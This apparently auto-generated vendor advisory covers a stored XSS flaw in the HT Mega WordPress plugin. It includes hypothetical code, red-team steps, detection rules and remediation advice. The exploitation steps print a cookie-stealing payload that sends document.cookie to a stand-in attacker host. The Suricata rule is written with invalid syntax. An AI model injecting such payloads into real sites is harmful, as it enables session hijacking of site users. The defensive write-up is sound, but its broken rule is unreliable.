CVE-2024-3990
Executive Summary
CVE-2024-3990 is a Stored Cross-Site Scripting (XSS) vulnerability in the HT Mega – Absolute Addons For Elementor WordPress plugin, affecting all versions up to and including 2.5.0. The flaw resides in the Tooltip & Popover Widget, where insufficient input sanitization and output escaping on user-supplied attributes allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, leading to potential session hijacking, credential theft, or defacement. The vulnerability is part of the WordPress ecosystem, and exploitation does not involve Apache or Nginx misconfigurations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. No official patch has been released as of the latest advisory. Organizations should monitor the plugin’s update channel and consider temporary removal or disabling of the vulnerable widget until a fix is available.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (contributor-level access)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
- EPSS Score: 0.0% (low exploitation probability currently)
The threat level is Medium due to the requirement for authenticated access, but the potential for widespread impact on WordPress sites using the plugin is significant.
Deep Dive & Mechanics
The vulnerability exists in the Tooltip & Popover Widget of the HT Mega plugin. The widget accepts user-supplied attributes (e.g., tooltip text, popover content) that are not properly sanitized or escaped before being stored in the WordPress database. When the widget is rendered on a page, the unsanitized input is output directly into the HTML, allowing an attacker to inject malicious JavaScript.
Attack Flow:
- An authenticated user with contributor-level privileges creates or edits a page/post using the HT Mega Tooltip & Popover Widget.
- The attacker injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into a widget attribute (e.g., tooltip text). - The payload is stored in the database without proper sanitization.
- When any user (including administrators) visits the page, the payload executes in their browser context.
Root Cause: The plugin uses esc_attr() or similar functions inconsistently, failing to escape output in the widget’s rendering logic. Input sanitization is also insufficient, allowing HTML and script tags to pass through.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common remediation patterns.
Vulnerable Code (hypothetical):
// In widget render method
$tooltip_text = $settings['tooltip_text'];
echo '<div class="ht-tooltip" data-tooltip="' . $tooltip_text . '">...</div>';
Patched Code (hypothetical):
// In widget render method
$tooltip_text = esc_html( $settings['tooltip_text'] );
echo '<div class="ht-tooltip" data-tooltip="' . esc_attr( $tooltip_text ) . '">...</div>';
The patched version uses esc_html() for sanitization and esc_attr() for output escaping, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with HT Mega plugin version <= 2.5.0
- Authenticated user with contributor-level access or higher
Exploitation Steps:
- Log in as a contributor.
- Create a new page or edit an existing one.
- Add the HT Mega Tooltip & Popover Widget to the page.
- In the widget settings, inject a payload into the tooltip text field, e.g.:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save/publish the page.
- When an administrator or other user visits the page, the script executes, exfiltrating cookies.
Proof-of-Concept (No exploit code provided):
<!-- Injected via widget attribute -->
<div class="ht-tooltip" data-tooltip="<script>alert('XSS')</script>">Hover me</div>
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual widget attribute values containing
<script>,onerror,onload, or JavaScript event handlers. - Use Web Application Firewall (WAF) rules to block common XSS payloads in POST requests to
wp-admin/admin-ajax.phpor page/post editing endpoints. - Review WordPress database for stored XSS patterns in
wp_postmetaorwp_poststables.
Defense:
- Disable or remove the HT Mega plugin until a patch is available.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Enforce strict input validation and output escaping in custom code.
- Limit contributor-level access to trusted users only.
Indicators of Compromise (IOCs)
File Indicators:
- Modified plugin files in
/wp-content/plugins/ht-mega-for-elementor/(check for backdoors) - Suspicious entries in
wp_postmetawith meta_key containinght-tooltiporht-popoverand meta_value containing<script>tags
- Modified plugin files in
Network Indicators:
- Outbound connections to unknown domains from WordPress admin pages
- HTTP requests containing XSS payloads in POST data to
wp-admin/post.phporwp-admin/admin-ajax.php
Log Indicators:
- WordPress debug log entries showing unexpected HTML/JavaScript in widget attributes
- Web server access logs with
POSTrequests towp-admin/post.phpcontaininght-tooltiporht-popoverparameters
Detection Engineering
YARA Rule
rule CVE_2024_3990_HT_Mega_XSS {
meta:
description = "Detects stored XSS payloads in HT Mega plugin widget attributes"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-3990"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
$widget = /ht-tooltip|ht-popover/i
condition:
$widget and ($xss1 or $xss2 or $xss3)
}
Sigma Rule
title: CVE-2024-3990 HT Mega Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via HT Mega plugin widget attributes
author: Valters IT
date: 2024-01-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-3990
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/post.php'
cs-uri-query|contains:
- 'ht-tooltip'
- 'ht-popover'
cs-uri-query|re: '<script|onerror|onload'
condition: selection
falsepositives:
- Legitimate use of HTML in widget attributes (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3990 HT Mega Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"ht-tooltip" or content:"ht-popover"; pcre:"/<script|onerror|onload>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the HT Mega plugin until an official patch is released.
- Remove or restrict contributor-level accounts to trusted users only.
- Scan WordPress database for stored XSS payloads using the YARA rule above.
- Implement Web Application Firewall (WAF) rules to block XSS payloads in widget attributes.
Long-Term Fix:
- Apply the official patch once released by the vendor.
- Update the plugin to the latest version (if patched).
- Enforce strict input validation and output escaping in all custom WordPress development.
Workaround:
- If the plugin cannot be disabled, modify the widget template to use
esc_html()andesc_attr()on all user-supplied attributes. This requires custom development.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.